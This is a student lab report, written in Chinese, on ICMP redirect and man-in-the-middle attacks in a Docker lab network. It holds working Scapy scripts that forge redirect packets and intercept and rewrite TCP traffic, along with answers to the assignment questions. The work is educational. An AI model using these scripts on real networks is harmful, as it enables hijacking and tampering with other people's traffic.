ICMP Redirect Attack

57118212 晏宇珂

Task 1: Launching ICMP Redirect Attack

攻击前，首先查看受害者`docker1(10.9.0.5)`的默认网关：

```
root@49e8ddc11345:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
```

默认网关为`10.9.0.11`，编写`redirect.py`，用`10.9.0.111`伪造网关：

```python
from scapy.all import *

ip = IP(src="10.9.0.11", dst="10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.111"

ip2 = IP(src="10.9.0.5", dst="192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

查看路由cache：

```
root@122430d88267:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 297sec
```

查看包转发路径：

```
122430d88267 (10.9.0.5)                                2021-07-12T09:38:48+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                   Packets                  Pings
 Host                            Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                    0.0%    10    0.1   0.2   0.1   0.3   0.1
 2. 10.9.0.11                     0.0%     9    0.4   0.3   0.1   0.4   0.1
 3. 192.168.60.5                  0.0%     9    0.2   0.2   0.1   0.4   0.1
```

攻击成功，清除cache再次查看包转发路径：

```
root@122430d88267:/# ip route flush cache
root@122430d88267:/# mtr -n 192.168.60.5
```

```
                             My traceroute  [v0.93]
122430d88267 (10.9.0.5)                                2021-07-12T09:41:43+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                   Packets                  Pings
 Host                            Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                     0.0%     7    0.1   0.1   0.1   0.3   0.1
 2. 192.168.60.5                  0.0%     7    0.2   0.3   0.2   0.7   0.2
```

- Question1

  修改代码如下：

```python
from scapy.all import *

ip = IP(src="10.9.0.11", dst="10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "192.168.60.6"

ip2 = IP(src="10.9.0.5", dst="192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

`192.168.60.6`不是本地LAN的主机，攻击不成功，还是会经过默认网关发送。

- Question2

  修改代码如下：

```python
from scapy.all import *

ip = IP(src="10.9.0.11", dst="10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.2"

ip2 = IP(src="10.9.0.5", dst="192.168.60.5")
send(ip/icmp/ip2/ICMP())
```

`10.9.0.2`是同一网络中不存在的IP地址，攻击不成功，还是会经过默认网关发送。

- Question3

  修改`docker-compose.yml`：

```
malicious-router:
    image: handsonsecurity/seed-ubuntu:large
    container_name: malicious-router-10.9.0.111
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.ip_forward=1
            - net.ipv4.conf.all.send_redirects=1
            - net.ipv4.conf.default.send_redirects=1
            - net.ipv4.conf.eth0.send_redirects=1
    privileged: true
    volumes:
            - ./volumes:/volumes
    networks:
        net-10.9.0.0:
            ipv4_address: 10.9.0.111
```

关闭了恶意网关`10.9.0.111`的重定向功能，攻击不会成功。

Task 2: Launching the MITM Attack

首先与`192.168.60.5`建立nc连接：

```
nc -lp 9090(in 192.168.60.5)
nc -nv 192.168.60.5 9090(in 10.9.0.5)
```

关闭恶意网关的ip转发功能：

```
malicious-router:
    image: handsonsecurity/seed-ubuntu:large
    container_name: malicious-router-10.9.0.111
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.ip_forward=0
            - net.ipv4.conf.all.send_redirects=0
            - net.ipv4.conf.default.send_redirects=0
            - net.ipv4.conf.eth0.send_redirects=0
```

实施`Task 1`的攻击成功后，开始实施中间人攻击，代码如下：

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'yanyuke', b'AAAAAAA')

       send(newpkt/newdata)
   else:
       send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

在受害者`docker`中输入`yanyuke`：

```
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
yanyuke1
yanyuke2
yyk
```

在`192.168.60.5`中可以看到`yanyuke`变成了`AAAAAAA`：

```
root@beecec45ed02:/# nc -lp 9090
AAAAAAA1
AAAAAAA2
yyk
```

- Question4

  用`WireShark`抓包可以发现，只需要过滤`10.9.0.5`到`192.168.60.5`的TCP包即可。

- Question5

  用IP地址设置过滤器可以发现程序会监听到自己发送的包，于是有多余的输出：

```
*** b'AAAAAAA2\n', length: 9
.
Sent 1 packets.
*** b'AAAAAAA1\n', length: 9
.
Sent 1 packets.
*** b'yyk\n', length: 4
.
Sent 1 packets.
```

  修改代码，过滤IP地址：

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'yanyuke', b'AAAAAAA')

       send(newpkt/newdata)
   else:
       send(newpkt)

f = 'tcp and src host 10.9.0.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

  还是会有重复发送的报文。

  修改代码，过滤MAC地址：

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'yanyuke', b'AAAAAAA')

       send(newpkt/newdata)
   else:
       send(newpkt)

f = 'tcp and ether src host 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

结果可以过滤掉伪造的报文：

```
root@e797239fa37d:/volumes# python3 MITM.py
LAUNCHING MITM ATTACK.........
*** b'yanyuke11\n', length: 10
.
Sent 1 packets.
```

我理解的是，给过滤器设置成过滤MAC地址更好，伪造的报文应该只伪造了IP/TCP的部分，恶意路由进行转发的时候还需要加上外面包含MAC地址的头。